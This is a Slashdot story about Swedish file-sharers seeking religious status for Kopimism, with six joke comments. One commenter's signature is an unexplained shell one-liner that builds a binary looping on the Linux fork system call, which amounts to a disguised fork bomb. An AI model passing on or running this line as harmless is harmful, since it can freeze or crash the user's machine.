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Swedish File-Sharers File For Religious Status

Posted by samzenpus on from the guided-to-share dept.

nloop writes "A group of file-sharers in Sweden have requested that their religion, Kopimism, be officially recognized in Sweden. Although this status has been denied once in the past the struggle for religious freedom from persecution continues. Aside from deeming CTRL+C CTRL+V as sacred symbols other beliefs include the flow of information being ethically right and closed source software being 'akin to slavery.'"

6 of 420 comments (clear)

  1. Heretics! by Anonymous Coward · · Score: 5, Funny

    All who follow the mighty Jobs know that the only proper religious symbols are cmd-c, cmd-v

    1. Re:Heretics! by M.+Baranczak · · Score: 4, Funny

      All who follow the mighty Jobs know that the only proper religious symbols are cmd-c, cmd-v

      Why such harsh language? No, they're not heretics. Just a few of our brothers and sisters - OK, a few of our brothers - who've been led astray. We may disagree with them, but we can keep this disagreement civil. Hearken to the words of Mr. T: yea, we do not hate the fool; we pity the fool.

      No, we must reserve our hatred for the vile, damnable, iniquitous cult of the yy and the p.

    2. Re:Heretics! by Psychotria · · Score: 3, Funny

      And I wasted my mod points on crazy comments in the "regret" story. Now I know what regret is.

  2. Re:Story of Beginning in this religion by omglolbah · · Score: 3, Funny

    Makes more sense than scientology ;)

  3. Re:Them swedes. by Needlzor · · Score: 3, Funny

    So not only can the pirates watch movies for free, but they also reduce the chances a multi-billion dollars CGI piece of crap will be released in the future ? Sounds like a win-win to me.

  4. Re:This has gone too far by Hal_Porter · · Score: 3, Funny

    Unfortunately, ms is a religion that's yet to produce a saint.

    Dave Cutler?

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;